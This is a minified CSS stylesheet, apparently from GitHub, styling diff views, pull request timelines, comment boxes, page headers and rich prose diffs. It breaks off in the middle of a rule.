*::selection{background-color:var(--color-accent-muted)}.blob-code-inner.blob-code-addition,.blob-code-inner.blob-code-deletion{position:relative;padding-left:22px !important}.blob-code-marker::before{position:absolute;top:1px;left:8px;padding-right:8px;content:attr(data-code-marker)}.blob-code-context,.blob-code-addition,.blob-code-deletion{padding-left:22px}.blob-code-marker-addition::before{position:absolute;top:1px;left:8px;content:"+ "}.blob-code-marker-deletion::before{position:absolute;top:1px;left:8px;content:"- "}.blob-code-marker-context::before{position:absolute;top:1px;left:8px;content:" "}.blob-code-marker-injected_context::before{position:absolute;top:1px;left:8px;content:" "}.soft-wrap .diff-table{table-layout:fixed}.soft-wrap .blob-code{padding-left:18px;text-indent:-7px}.soft-wrap .blob-code-inner{word-wrap:break-word;white-space:pre-wrap}.soft-wrap .no-nl-marker{display:none}.soft-wrap .add-line-comment{margin-top:0;margin-left:-24px}.soft-wrap .blob-code-context,.soft-wrap .blob-code-addition,.soft-wrap .blob-code-deletion{padding-left:24px;text-indent:0}.blob-num-hunk,.blob-code-hunk,.blob-num-expandable{color:var(--color-fg-muted);vertical-align:middle}.blob-num-hunk,.blob-num-expandable{background-color:var(--color-diff-blob-hunk-num-bg)}.blob-code-hunk{padding-top:4px;padding-bottom:4px;background-color:var(--color-accent-subtle);border-width:1px 0}.blob-expanded .blob-num:not(.blob-num-context-outside-diff),.blob-expanded .blob-code:not(.blob-code-context){background-color:var(--color-canvas-subtle)}.blob-expanded+tr.show-top-border:not(.blob-expanded) .blob-num,.blob-expanded+tr.show-top-border:not(.blob-expanded) .blob-code{border-top:1px solid var(--color-border-muted)}.blob-expanded tr.show-top-border .blob-num-hunk,.blob-expanded tr.show-top-border .blob-num{border-top:1px solid var(--color-border-muted)}tr.show-top-border+.blob-expanded .blob-num,tr.show-top-border+.blob-expanded .blob-code{border-top:1px solid var(--color-border-muted)}.blob-num-expandable{width:auto;padding:0;font-size:12px;text-align:center}.blob-num-expandable .directional-expander{display:block;width:auto;height:auto;margin-right:-1px;color:var(--color-diff-blob-expander-icon);cursor:pointer}.blob-num-expandable .single-expander{padding-top:4px;padding-bottom:4px}.blob-num-expandable .directional-expander:hover{color:var(--color-fg-on-emphasis);text-shadow:none;background-color:var(--color-accent-emphasis);border-color:var(--color-accent-emphasis)}.blob-code-addition{background-color:var(--color-diff-blob-addition-line-bg);outline:1px dotted transparent}.blob-code-addition .x{color:var(--color-diff-blob-addition-fg);background-color:var(--color-diff-blob-addition-word-bg)}.blob-num-addition{color:var(--color-diff-blob-addition-num-text);background-color:var(--color-diff-blob-addition-num-bg);border-color:var(--color-success-emphasis)}.blob-num-addition:hover{color:var(--color-fg-default)}.blob-code-deletion{background-color:var(--color-diff-blob-deletion-line-bg);outline:1px dashed transparent}.blob-code-deletion .x{color:var(--color-diff-blob-deletion-fg);background-color:var(--color-diff-blob-deletion-word-bg)}.blob-num-deletion{color:var(--color-diff-blob-deletion-num-text);background-color:var(--color-diff-blob-deletion-num-bg);border-color:var(--color-danger-emphasis)}.blob-num-deletion:hover{color:var(--color-fg-default)}.is-selecting{cursor:ns-resize !important}.is-selecting .blob-num{cursor:ns-resize !important}.is-selecting .add-line-comment,.is-selecting a{pointer-events:none;cursor:ns-resize !important}.is-selecting .is-hovered .add-line-comment{opacity:0}.is-selecting.file-diff-split{cursor:nwse-resize !important}.is-selecting.file-diff-split .blob-num{cursor:nwse-resize !important}.is-selecting.file-diff-split .empty-cell,.is-selecting.file-diff-split .add-line-comment,.is-selecting.file-diff-split a{pointer-events:none;cursor:nwse-resize !important}.selected-line{position:relative}.selected-line::after{position:absolute;top:0;left:0;display:block;width:100%;height:100%;box-sizing:border-box;pointer-events:none;content:"";background:var(--color-attention-subtle);mix-blend-mode:var(--color-diff-blob-selected-line-highlight-mix-blend-mode)}.selected-line.selected-line-top::after{border-top:1px solid var(--color-attention-muted)}.selected-line.selected-line-bottom::after{border-bottom:1px solid var(--color-attention-muted)}.selected-line:first-child::after,.selected-line.selected-line-left::after{border-left:1px solid var(--color-attention-muted)}.selected-line:last-child::after,.selected-line.selected-line-right::after{border-right:1px solid var(--color-attention-muted)}.is-commenting .selected-line.blob-code::before{position:absolute;top:0;left:-1px;display:block;width:4px;height:100%;content:"";background:var(--color-accent-emphasis)}.add-line-comment{position:relative;z-index:1;float:left;width:22px;height:22px;margin:-2px -10px -2px -32px;line-height:21px;color:var(--color-fg-on-emphasis);text-align:center;text-indent:0;cursor:pointer;background-color:var(--color-accent-emphasis);border-radius:6px;box-shadow:var(--color-shadow-medium);opacity:0;transition:transform .1s ease-in-out;transform:scale(0.8, 0.8)}.add-line-comment:hover{transform:scale(1, 1)}.is-hovered .add-line-comment,.add-line-comment:focus{opacity:1}.add-line-comment .octicon{vertical-align:text-top;pointer-events:none}.add-line-comment.octicon-check{background:#333;opacity:1}.inline-comment-form{border:1px solid #dfe2e5;border-radius:6px}.timeline-inline-comments{width:100%;table-layout:fixed}.timeline-inline-comments .inline-comments,.show-inline-notes .inline-comments{display:table-row}.inline-comments{display:none}.inline-comments .line-comments+.blob-num{border-left-width:1px}.inline-comments .timeline-comment{margin-bottom:10px}.inline-comments .inline-comment-form,.inline-comments .inline-comment-form-container{max-width:780px}.comment-holder{max-width:780px}.comment-holder+.comment-holder{margin-top:16px}.line-comments+.line-comments,.empty-cell+.line-comments{border-left:1px solid var(--color-border-muted)}.inline-comment-form-container .inline-comment-form,.inline-comment-form-container.open .inline-comment-form-actions{display:none}.inline-comment-form-container .inline-comment-form-actions,.inline-comment-form-container.open .inline-comment-form{display:block}body.full-width .container,body.full-width .container-lg,body.full-width .container-xl{width:100%;max-width:none;padding-right:20px;padding-left:20px}body.full-width .repository-content{width:100%}body.full-width .new-pr-form{max-width:980px}.file-diff-split{table-layout:fixed}.file-diff-split .blob-code+.blob-num{border-left:1px solid var(--color-border-muted)}.file-diff-split .blob-code-inner{word-wrap:break-word;white-space:pre-wrap}.file-diff-split .empty-cell{cursor:default;background-color:var(--color-neutral-subtle);border-right-color:var(--color-border-muted)}@media(max-width: 1280px){.file-diff-split .write-selected .comment-form-head{margin-bottom:48px !important}.file-diff-split markdown-toolbar{position:absolute;right:8px;bottom:-40px}}.submodule-diff-stats .octicon-diff-removed{color:var(--color-danger-fg)}.submodule-diff-stats .octicon-diff-renamed{color:var(--color-fg-muted)}.submodule-diff-stats .octicon-diff-modified{color:var(--color-attention-fg)}.submodule-diff-stats .octicon-diff-added{color:var(--color-success-fg)}.BlobToolbar{left:-17px}.BlobToolbar-dropdown{margin-left:-2px}.pl-token:hover,.pl-token.active{cursor:pointer;background:#ffea7f}.discussion-timeline{position:relative;float:left}.discussion-timeline::before{position:absolute;top:0;bottom:0;left:72px;z-index:0;display:block;width:2px;content:"";background-color:var(--color-border-default)}.discussion-sidebar-item{padding-top:16px;font-size:12px;color:var(--color-fg-muted)}.discussion-sidebar-item .btn .octicon{margin-right:0}.discussion-sidebar-item .muted-icon{color:var(--color-fg-muted)}.discussion-sidebar-item .muted-icon:hover{color:var(--color-accent-fg);text-decoration:none;cursor:pointer}.discussion-sidebar-item+.discussion-sidebar-item{margin-top:16px;border-top:1px solid var(--color-border-muted)}.discussion-sidebar-item .select-menu{position:relative}.discussion-sidebar-item .select-menu-modal-holder{top:25px;right:-1px;left:auto}.discussion-sidebar-heading{margin-bottom:8px;font-size:12px;color:var(--color-fg-muted)}.discussion-sidebar-toggle{padding:4px 0;margin:-4px 0 4px}.discussion-sidebar-toggle .octicon{float:right;color:var(--color-fg-muted)}.discussion-sidebar-toggle:hover{color:var(--color-accent-fg);text-decoration:none;cursor:pointer}.discussion-sidebar-toggle:hover .octicon{color:inherit}button.discussion-sidebar-toggle{display:block;width:100%;font-weight:600;text-align:left;background:none;border:0}.sidebar-progress-bar .progress-bar{height:8px;margin-bottom:2px;border-radius:6px}.sidebar-assignee .css-truncate-target{max-width:110px}.sidebar-assignee .assignee{font-weight:600;color:var(--color-fg-muted);vertical-align:middle}.sidebar-assignee .assignee:hover{color:var(--color-accent-fg);text-decoration:none}.sidebar-assignee .reviewers-status-icon{width:14px}.sidebar-assignee .octicon{margin-top:2px}.thread-subscribe-form.is-error .thread-subscribe-button{color:var(--color-danger-fg)}.sidebar-notifications{position:relative}.sidebar-notifications .thread-subscription-status{padding:0;margin:0;border:0}.sidebar-notifications .thread-subscription-status .thread-subscribe-form{display:block}.sidebar-notifications .thread-subscription-status .reason{padding:0;margin:4px 0 0}.sidebar-notifications .thread-subscription-status .btn-sm{display:block;width:100%}.participation .participant-avatar{float:left;margin:4px 0 0 4px}.participation a{color:var(--color-fg-muted)}.participation a:hover{color:var(--color-accent-fg);text-decoration:none}.participation-avatars{margin-left:-4px}.participation-avatars::before{display:table;content:""}.participation-avatars::after{display:table;clear:both;content:""}.participation-more{float:left;margin:8px 4px 0}.inline-comment-form .form-actions,.timeline-new-comment .form-actions{padding:0 8px 8px}.inline-comment-form::before{display:table;content:""}.inline-comment-form::after{display:table;clear:both;content:""}.inline-comment-form .tabnav-tabs{display:inline-block}.inline-comment-form .form-actions{float:right}.gh-header-actions{float:right;margin-top:4px}.gh-header-actions .btn-sm{float:left;margin-left:4px}.gh-header-actions .btn-sm .octicon{margin-right:0}.gh-header{background-color:var(--color-canvas-default)}.gh-header .gh-header-sticky{height:1px}.gh-header .gh-header-sticky .meta{font-size:12px}.gh-header .gh-header-sticky .sticky-content,.gh-header .gh-header-sticky .gh-header-shadow{display:none}.gh-header .gh-header-sticky.is-stuck{z-index:110;height:60px}.gh-header .gh-header-sticky.is-stuck .sticky-content{display:block}.gh-header .gh-header-sticky.is-stuck .css-truncate-target{max-width:150px}.gh-header .gh-header-sticky.is-stuck+.gh-header-shadow{position:fixed;top:0;right:0;left:0;z-index:109;display:block;height:60px;content:"";background-color:var(--color-canvas-default);border-bottom:1px solid var(--color-border-default)}.gh-header .gh-header-edit{display:none}.gh-header .gh-header-meta .base-ref{display:inline-block}.gh-header .gh-header-meta .commit-ref-dropdown{display:none}.gh-header.open .gh-header-show{display:none}.gh-header.open .gh-header-edit{display:block}.gh-header.open .gh-header-meta .base-ref{display:none}.gh-header.open .gh-header-meta .commit-ref-dropdown{display:inline-block;margin-top:-4px;vertical-align:top}.gh-header-title{margin-right:150px;margin-bottom:0;font-weight:400;line-height:1.125;word-wrap:break-word}.gh-header-no-access .gh-header-title{margin-right:0}.gh-header-number{font-weight:300;color:var(--color-fg-muted)}.gh-header-meta{padding-bottom:8px;margin-top:8px;font-size:14px;color:var(--color-fg-muted);border-bottom:1px solid var(--color-border-default)}.gh-header.issue .gh-header-meta{margin-bottom:16px}.gh-header.pull .gh-header-meta{padding-bottom:0;border-bottom:0}.gh-header-meta .commit-ref .css-truncate-target,.gh-header-meta .commit-ref:hover .css-truncate-target{max-width:80vw}.gh-header-meta .State{margin-right:8px}.gh-header-meta .avatar{float:left;margin-top:-4px;margin-right:4px}.timeline-comment-wrapper{position:relative;padding-left:56px;margin-top:16px;margin-bottom:16px}.timeline-comment-avatar{float:left;margin-left:-56px;border-radius:6px}.timeline-comment-avatar .avatar{width:40px;height:40px}.timeline-comment-avatar .avatar-child{width:20px;height:20px}.timeline-comment{position:relative;color:var(--color-fg-default);background-color:var(--color-canvas-default);border:1px solid var(--color-border-default);border-radius:6px}.timeline-comment.will-transition-once{transition:border-color .65s ease-in-out}.timeline-comment.will-transition-once .timeline-comment-header{transition:background-color .65s ease,border-bottom-color .65s ease-in-out}.timeline-comment.will-transition-once::before,.timeline-comment.will-transition-once::after{transition:border-right-color .65s ease-in-out}.timeline-comment.current-user{border-color:var(--color-accent-muted)}.timeline-comment.current-user .timeline-comment-header{background-color:var(--color-accent-subtle);border-bottom-color:var(--color-accent-muted)}.timeline-comment.current-user .Label{border-color:var(--color-accent-muted)}.timeline-comment.current-user .previewable-comment-form .comment-form-head.tabnav{color:var(--color-accent-muted);background-color:var(--color-accent-subtle);border-bottom-color:var(--color-accent-muted)}.timeline-comment.unread-item,.timeline-comment.is-internal{border-color:var(--color-attention-muted)}.timeline-comment.unread-item .timeline-comment-header,.timeline-comment.is-internal .timeline-comment-header{background-color:var(--color-attention-subtle);border-bottom-color:var(--color-attention-muted)}.timeline-comment.unread-item .Label,.timeline-comment.is-internal .Label{border-color:var(--color-attention-muted)}.timeline-comment.unread-item .previewable-comment-form .comment-form-head.tabnav,.timeline-comment.is-internal .previewable-comment-form .comment-form-head.tabnav{color:var(--color-attention-muted);background-color:var(--color-attention-subtle);border-bottom-color:var(--color-attention-muted)}.timeline-comment:empty{display:none}.timeline-comment .comment+.comment{border-top:1px solid var(--color-border-default)}.timeline-comment .comment+.comment::before,.timeline-comment .comment+.comment::after{display:none}.timeline-comment .comment+.comment .timeline-comment-header{border-top-left-radius:0;border-top-right-radius:0}.timeline-comment--caret::after,.timeline-comment--caret::before{position:absolute;top:11px;right:100%;left:-8px;display:block;width:8px;height:16px;pointer-events:none;content:" ";-webkit-clip-path:polygon(0 50%, 100% 0, 100% 100%);clip-path:polygon(0 50%, 100% 0, 100% 100%)}.timeline-comment--caret::after{margin-left:2px;background-color:var(--color-canvas-default);background-image:linear-gradient(var(--color-canvas-subtle), var(--color-canvas-subtle))}.timeline-comment--caret::before{background-color:var(--color-border-default)}.is-pending .timeline-comment--caret::after,.is-pending .timeline-comment--caret::before{position:absolute;top:11px;right:100%;left:-8px;display:block;width:8px;height:16px;pointer-events:none;content:" ";-webkit-clip-path:polygon(0 50%, 100% 0, 100% 100%);clip-path:polygon(0 50%, 100% 0, 100% 100%)}.is-pending .timeline-comment--caret::after{margin-left:2px;background-color:var(--color-canvas-default);background-image:linear-gradient(var(--color-attention-subtle), var(--color-attention-subtle))}.is-pending .timeline-comment--caret::before{background-color:var(--color-attention-emphasis)}.timeline-comment--caret.current-user::after,.timeline-comment--caret.current-user::before{position:absolute;top:11px;right:100%;left:-8px;display:block;width:8px;height:16px;pointer-events:none;content:" ";-webkit-clip-path:polygon(0 50%, 100% 0, 100% 100%);clip-path:polygon(0 50%, 100% 0, 100% 100%)}.timeline-comment--caret.current-user::after{margin-left:2px;background-color:var(--color-canvas-default);background-image:linear-gradient(var(--color-accent-subtle), var(--color-accent-subtle))}.timeline-comment--caret.current-user::before{background-color:var(--color-accent-muted)}.timeline-comment--caret.unread-item::after,.timeline-comment--caret.unread-item::before,.timeline-comment--caret.is-internal::after,.timeline-comment--caret.is-internal::before{position:absolute;top:11px;right:100%;left:-8px;display:block;width:8px;height:16px;pointer-events:none;content:" ";-webkit-clip-path:polygon(0 50%, 100% 0, 100% 100%);clip-path:polygon(0 50%, 100% 0, 100% 100%)}.timeline-comment--caret.unread-item::after,.timeline-comment--caret.is-internal::after{margin-left:2px;background-color:var(--color-canvas-default);background-image:linear-gradient(var(--color-attention-subtle), var(--color-attention-subtle))}.timeline-comment--caret.unread-item::before,.timeline-comment--caret.is-internal::before{background-color:var(--color-attention-muted)}.timeline-comment--caret.timeline-comment--caret-nw::before,.timeline-comment--caret.timeline-comment--caret-nw::after{transform:rotate(90deg)}.timeline-comment--caret.timeline-comment--caret-nw::before{top:-12px;left:12px}.timeline-comment--caret.timeline-comment--caret-nw::after{top:-10px;left:11px}.page-responsive .timeline-comment--caret::before,.page-responsive .timeline-comment--caret::after{display:none}@media(min-width: 768px){.page-responsive .timeline-comment--caret::before,.page-responsive .timeline-comment--caret::after{display:block}}:target .timeline-comment--caret::before{background-color:var(--color-accent-fg)}:target .timeline-comment--caret::after{margin-left:2px !important}:target .timeline-comment{z-index:2;border-color:var(--color-accent-fg);outline:none !important;box-shadow:0 0 0 1px var(--color-accent-fg) !important}.review-comment:target{border-radius:6px;outline:none !important;box-shadow:0 0 0 1px var(--color-accent-fg) !important}.timeline-comment-header{display:flex;align-items:center;padding-right:16px;padding-left:16px;color:var(--color-fg-muted);flex-direction:row-reverse;background-color:var(--color-canvas-subtle);border-bottom:1px solid var(--color-border-default);border-top-left-radius:6px;border-top-right-radius:6px}.timeline-comment-header:only-child{border-bottom:0;border-radius:6px}.timeline-comment-header .author{color:var(--color-fg-muted)}.timeline-comment-header code{word-break:break-all}.comment-type-icon{color:inherit}.timeline-comment-header-text{min-width:0;padding-top:8px;padding-bottom:8px;margin-bottom:1px;flex:1 1 auto}.timeline-comment-header-text code a{color:var(--color-fg-muted)}.timeline-comment-actions{float:right;margin-left:8px}.timeline-comment-actions .show-more-popover.dropdown-menu-sw{right:-6px;margin-top:-4px}.timeline-comment-action{display:inline-block;padding:8px 4px;color:var(--color-fg-muted)}.timeline-comment-action:hover,.timeline-comment-action:focus{color:var(--color-accent-fg);text-decoration:none;opacity:1}.timeline-comment-action .octicon-check{height:16px}.timeline-comment-action.disabled{color:var(--color-fg-muted);cursor:default}.timeline-comment-action.disabled:hover{color:var(--color-fg-muted)}.timeline-new-comment{margin-bottom:0}.timeline-new-comment .comment-form-head{margin-bottom:8px}.timeline-new-comment .previewable-comment-form .comment-body{padding-top:0}.comment-form-head .toolbar-commenting{float:right}.discussion-item-icon{float:left;width:32px;height:32px;margin-top:-4px;margin-left:-39px;line-height:28px;color:var(--color-fg-muted);text-align:center;background-color:var(--color-timeline-badge-bg);border:2px solid var(--color-canvas-default);border-radius:50%}.discussion-item-header{color:var(--color-fg-muted);word-wrap:break-word}.discussion-item-header .discussion-item-private{vertical-align:-1px}.discussion-item-header:last-child{padding-bottom:0}.discussion-item-header .commit-ref{font-size:85%;vertical-align:baseline}.discussion-item-header .btn-outline{float:right;padding:4px 8px;margin-top:-4px;margin-left:8px}.discussion-item-private{color:var(--color-fg-muted)}.previewable-comment-form .comment-form-head.tabnav{padding:8px 8px 0;background:var(--color-canvas-subtle);border-radius:6px 6px 0 0}.page-responsive .previewable-comment-form .comment-form-head.tabnav .toolbar-commenting{background:var(--color-canvas-default)}@media(min-width: 1012px){.page-responsive .previewable-comment-form .comment-form-head.tabnav .toolbar-commenting{background:transparent}}@media(min-width: 768px){.page-responsive .previewable-comment-form .comment-form-head.tabnav{background:var(--color-canvas-subtle)}}.previewable-comment-form .comment{border:0}.previewable-comment-form .comment-body{padding-top:8px;padding-right:8px;padding-bottom:8px;padding-left:8px;background-color:transparent;border-bottom:1px solid var(--color-border-default)}.previewable-comment-form .timeline-comment .timeline-comment-actions{display:none}.new-discussion-timeline .composer .timeline-comment{margin-bottom:8px}.new-discussion-timeline .composer .comment-form-head.tabnav{padding-top:0;background-color:var(--color-canvas-default)}.composer.composer-responsive{padding-left:0}.composer.composer-responsive .discussion-topic-header{padding:0}.composer.composer-responsive .timeline-comment{border:0}.composer.composer-responsive .timeline-comment::before,.composer.composer-responsive .timeline-comment::after{display:none}.composer.composer-responsive .previewable-comment-form .write-content{margin:0}@media(min-width: 768px){.composer.composer-responsive{padding-left:56px}.composer.composer-responsive .timeline-comment{border:1px solid var(--color-border-default)}.composer.composer-responsive .timeline-comment::after,.composer.composer-responsive .timeline-comment::before{position:absolute;top:11px;right:100%;left:-8px;display:block;width:8px;height:16px;pointer-events:none;content:" ";-webkit-clip-path:polygon(0 50%, 100% 0, 100% 100%);clip-path:polygon(0 50%, 100% 0, 100% 100%)}.composer.composer-responsive .timeline-comment::after{margin-left:2px;background-color:var(--color-canvas-default);background-image:linear-gradient(var(--color-canvas-default), var(--color-canvas-default))}.composer.composer-responsive .timeline-comment::before{background-color:var(--color-border-default)}}.discussion-timeline-actions{background-color:var(--color-canvas-default);border-top:2px solid var(--color-border-default)}.discussion-timeline-actions .merge-pr{padding-top:0;border-top:0}.discussion-timeline-actions .thread-subscription-status{margin-top:16px}.pagination-loader-container{background-color:var(--color-canvas-default);background-image:url("/images/modules/pulls/progressive-disclosure-line.svg");background-repeat:repeat-x;background-position:center;background-size:16px}[data-color-mode=light][data-light-theme*=dark] .pagination-loader-container,[data-color-mode=dark][data-dark-theme*=dark] .pagination-loader-container{background-image:url("/images/modules/pulls/progressive-disclosure-line-dark.svg")}@media(prefers-color-scheme: light){[data-color-mode=auto][data-light-theme*=dark] .pagination-loader-container{background-image:url("/images/modules/pulls/progressive-disclosure-line-dark.svg")}}@media(prefers-color-scheme: dark){[data-color-mode=auto][data-dark-theme*=dark] .pagination-loader-container{background-image:url("/images/modules/pulls/progressive-disclosure-line-dark.svg")}}:target .timeline-comment-group .timeline-comment .timeline-comment-group .timeline-comment{box-shadow:none !important}.is-pending .form-actions{margin-right:8px;margin-bottom:4px}.is-pending .file,.is-pending .file-header,.is-pending .tabnav-tab.selected,.is-pending .comment-form-head.tabnav{border-color:var(--color-attention-emphasis)}.is-pending .file-header,.is-pending .comment-form-head.tabnav{background-color:var(--color-attention-subtle)}.discussion-item-icon-gray{background-color:var(--color-timeline-badge-bg) !important}.footer-octicon{color:var(--color-fg-subtle)}.footer-octicon:hover{color:var(--color-fg-muted)}.user-mention,.team-mention{font-weight:600;color:var(--color-fg-default);white-space:nowrap}.Popover .user-mention,.Popover .team-mention{white-space:normal}@media(max-width: 543px){.notifications-component-menu-modal{margin:calc(10vh - 16px) 0}}@media(min-width: 544px){.notifications-component-menu-modal,.notifications-component-dialog,.notifications-component-dialog-modal{width:100%}}@media(min-width: 768px){.notifications-component-menu-modal,.notifications-component-dialog,.notifications-component-dialog-modal{min-width:300px}}.notifications-component-dialog:not([hidden])+.notifications-component-dialog-overlay{position:fixed;top:0;right:0;bottom:0;left:0;z-index:80;display:block;cursor:default;content:" ";background:transparent;background:var(--color-primer-canvas-backdrop)}@media(min-width: 544px){.notifications-component-dialog:not([hidden])+.notifications-component-dialog-overlay{display:none}}.notifications-component-dialog{z-index:99;animation:none}@keyframes notifications-component-dialog-animation--sm{0%{opacity:0;transform:translateX(16px)}}@media(min-width: 544px){.notifications-component-dialog{position:absolute;top:auto;right:auto;bottom:auto;left:auto;max-height:none;padding-top:0;margin:0;transform:none}}.notifications-component-dialog .notifications-component-dialog-modal{animation:none}.pagehead{position:relative;padding-top:24px;padding-bottom:24px;margin-bottom:24px;border-bottom:1px solid var(--color-border-default)}.pagehead.admin{background:url("/images/modules/pagehead/background-yellowhatch-v3.png") 0 0 repeat-x}.pagehead ul.pagehead-actions{position:relative;z-index:31;float:right;margin:0}.pagehead .path-divider{margin:0 .25em}.pagehead h1{min-height:32px;margin-top:0;margin-bottom:0;font-size:20px;font-weight:400}.pagehead h1 .avatar{margin-top:-2px;margin-right:8px;margin-bottom:-2px}.pagehead .underline-nav{height:69px;margin-top:-16px;margin-bottom:-16px}.pagehead-heading{color:inherit}.pagehead-actions>li{float:left;margin:0 8px 0 0;font-size:12px;color:var(--color-fg-default);list-style-type:none}.pagehead-actions>li:last-child{margin-right:0}.pagehead-actions .octicon-mute{color:var(--color-danger-fg)}.pagehead-actions .select-menu{position:relative}.pagehead-actions .select-menu::before{display:table;content:""}.pagehead-actions .select-menu::after{display:table;clear:both;content:""}.pagehead-actions .select-menu-modal-holder{top:100%}.pagehead-tabs-item{float:left;padding:8px 16px 12px;color:var(--color-fg-muted);white-space:nowrap;border:solid transparent;border-width:3px 1px 1px;border-radius:6px 6px 0 0}.pagehead-tabs-item .octicon{color:var(--color-fg-muted)}.pagehead-tabs-item:hover{color:var(--color-fg-default);text-decoration:none}.pagehead-tabs-item.selected{font-weight:600;color:var(--color-fg-default);background-color:var(--color-canvas-default);border-color:var(--color-severe-emphasis) var(--color-border-default) transparent}.pagehead-tabs-item.selected>.octicon{color:inherit}.reponav{position:relative;top:1px;margin-top:-4px}.reponav::before{display:table;content:""}.reponav::after{display:table;clear:both;content:""}.reponav-item{float:left;padding:8px 16px 8px;color:var(--color-fg-muted);white-space:nowrap;border:solid transparent;border-width:3px 1px 1px;border-radius:6px 6px 0 0}.reponav-item .octicon{color:var(--color-fg-muted)}.reponav-item:hover,.reponav-item:focus{color:var(--color-fg-default);text-decoration:none}.reponav-item.selected{color:var(--color-fg-default);background-color:var(--color-canvas-default);border-color:var(--color-severe-emphasis) var(--color-border-default) transparent}.reponav-item.selected .octicon{color:inherit}.reponav-wrapper{position:relative;z-index:2;overflow-y:hidden;background-color:var(--color-neutral-emphasis)}.reponav-wrapper .reponav{top:0;padding-right:8px;padding-left:8px;margin-top:0;-webkit-overflow-scrolling:touch;overflow-x:auto;color:rgba(255,255,255,.75)}.reponav-wrapper .reponav-item{display:inline-block;float:none;padding:4px 8px 16px;color:var(--color-fg-muted);border:0}.reponav-wrapper .reponav-item.selected{font-weight:600;color:var(--color-fg-default);background-color:transparent;border:0}@media(max-width: 768px){.PageLayout--responsive-separateRegions.PageLayout--responsive-primary-pane .ActionList-item.ActionList-item--navActive:not(.ActionList-item--danger){background-color:transparent}.PageLayout--responsive-separateRegions.PageLayout--responsive-primary-pane .ActionList-item.ActionList-item--navActive:not(.ActionList-item--subItem) .ActionList-item-label{font-weight:400}.PageLayout--responsive-separateRegions.PageLayout--responsive-primary-pane .ActionList-item--navActive::after{display:none}.PageLayout--responsive-separateRegions.PageLayout--responsive-primary-pane .ActionList-item.ActionList-item--navActive:not(.ActionList-item--danger):hover{background-color:var(--color-action-list-item-default-hover-bg)}}.steps{display:table;width:100%;padding:0;margin:32px auto 0;overflow:hidden;list-style:none;border:1px solid #dfe2e5;border-radius:6px;box-shadow:0 1px 3px rgba(27,31,35,.05)}.steps li{display:table-cell;width:33.3%;padding:8px 16px;color:#c6cbd1;cursor:default;background-color:var(--color-canvas-subtle);border-left:1px solid #dfe2e5}.steps li.current{color:var(--color-fg-default);background-color:var(--color-canvas-default)}.steps li.current .octicon{color:var(--color-accent-fg)}.steps li .octicon{float:left;margin-right:16px;margin-bottom:4px}.steps li .step{display:block}.steps li:first-child{border-left:0}.steps .complete{color:var(--color-fg-muted)}.steps .complete .octicon{color:var(--color-success-fg)}.prose-diff .anchor{display:none}.prose-diff .show-rich-diff{color:var(--color-accent-fg);text-decoration:none;cursor:pointer}.prose-diff .show-rich-diff:hover{text-decoration:underline}.prose-diff.collapsed .rich-diff-level-zero.expandable{cursor:pointer}.prose-diff.collapsed .rich-diff-level-zero.expandable .vicinity{display:block}.prose-diff.collapsed .rich-diff-level-zero.expandable .unchanged:not(.vicinity){display:none}.prose-diff.collapsed .rich-diff-level-zero.expandable .octicon{display:block;margin:16px auto;color:var(--color-fg-muted)}.prose-diff.collapsed .rich-diff-level-zero.expandable:hover .octicon{color:var(--color-fg-muted)}.prose-diff.collapsed .rich-diff-level-zero.expandable:only-child::before{font-size:16px;color:var(--color-fg-muted);content:"Sorry, no visible changes to display."}.prose-diff.collapsed .rich-diff-level-zero.expandable:only-child:hover::before{color:var(--color-fg-default)}.prose-diff.collapsed .rich-diff-level-zero.expandable>.removed,.prose-diff.collapsed .rich-diff-level-zero.expandable>del{display:none;text-decoration:none}.prose-diff .markdown-body{padding:32px;padding-left:16px}.prose-diff .markdown-body>ins{box-shadow:inset 4px 0 0 var(--color-success-muted)}.prose-diff .markdown-body>del{text-decoration:none;box-shadow:inset 4px 0 0 var(--color-danger-muted)}.prose-diff .markdown-body>ins,.prose-diff .markdown-body>del{display:block;border-radius:0}.prose-diff .markdown-body>ins>.rich-diff-level-zero,.prose-diff .markdown-body>ins>.rich-diff-level-one,.prose-diff .markdown-body>del>.rich-diff-level-zero,.prose-diff .markdown-body>del>.rich-diff-level-one{margin-left:16px}.prose-diff .markdown-body>ins:first-child *,.prose-diff .markdown-body>del:first-child *{margin-top:0}.prose-diff .rich-diff-level-zero.added{box-shadow:inset 4px 0 0 var(--color-success-muted)}.prose-diff .rich-diff-level-zero.removed{box-shadow:inset 4px 0 0 var(--color-danger-muted)}.prose-diff .rich-diff-level-zero.changed{box-shadow:inset 4px 0 0 var(--color-attention-muted)}.prose-diff .rich-diff-level-zero.unchanged,.prose-diff .rich-diff-level-zero.vicinity{margin-left:16px}.prose-diff .rich-diff-level-zero.added,.prose-diff .rich-diff-level-zero.removed,.prose-diff .rich-diff-level-zero.changed{display:block;border-radius:0}.prose-diff .rich-diff-level-zero.added>.rich-diff-level-one,.prose-diff .rich-diff-level-zero.removed>.rich-diff-level-one,.prose-diff .rich-diff-level-zero.changed>.rich-diff-level-one{margin-left:16px}.prose-diff .rich-diff-level-zero.added:first-child *,.prose-diff .rich-diff-level-zero.removed:first-child *,.prose-diff .rich-diff-level-zero.changed:first-child *{margin-top:0}.prose-diff :not(.changed)>:not(.github-user-ins):not(.github-user-del)>.removed,.prose-diff :not(.changed)>:not(.github-user-ins):not(.github-user-del)>del{text-decoration:none}.prose-diff .changed del,.prose-diff .changed del pre,.prose-diff .changed del code,.prose-diff .changed del>div,.prose-diff .changed .removed,.prose-diff .changed .removed pre,.prose-diff .changed .removed code,.prose-diff .changed .removed>div{color:var(--color-fg-default);text-decoration:line-through;background:var(--color-danger-subtle)}.prose-diff .changed ins,.prose-diff .changed ins code,.prose-diff .changed ins pre,.prose-diff .changed .added{color:var(--color-fg-default);background:var(--color-success-subtle);border-bottom:1px solid var(--color-success-muted)}.prose-diff>.markdown-body .github-user-ins{text-decoration:underline}.prose-diff>.markdown-body .github-user-del{text-decoration:line-through}.prose-diff>.markdown-body li ul.added{background:var(--color-success-subtle)}.prose-diff>.markdown-body li ul.removed{color:var(--color-fg-default);background:var(--color-danger-subtle)}.prose-diff>.markdown-body li ul.removed:not(.github-user-ins){text-decoration:line-through}.prose-diff>.markdown-body li.added.moved-up .octicon,.prose-diff>.markdown-body li.added.moved-down .octicon{margin-right:4px;margin-left:4px;color:var(--color-fg-muted)}.prose-diff>.markdown-body li.added.moved{background:var(--color-attention-subtle)}.prose-diff>.markdown-body li.removed.moved{display:none}.prose-diff>.markdown-body pre{padding:8px 16px}.prose-diff>.markdown-body th.changed,.prose-diff>.markdown-body td.changed{background:var(--color-attention-subtle);border-left-color:var(--color-border-default)}.prose-diff>.markdown-body 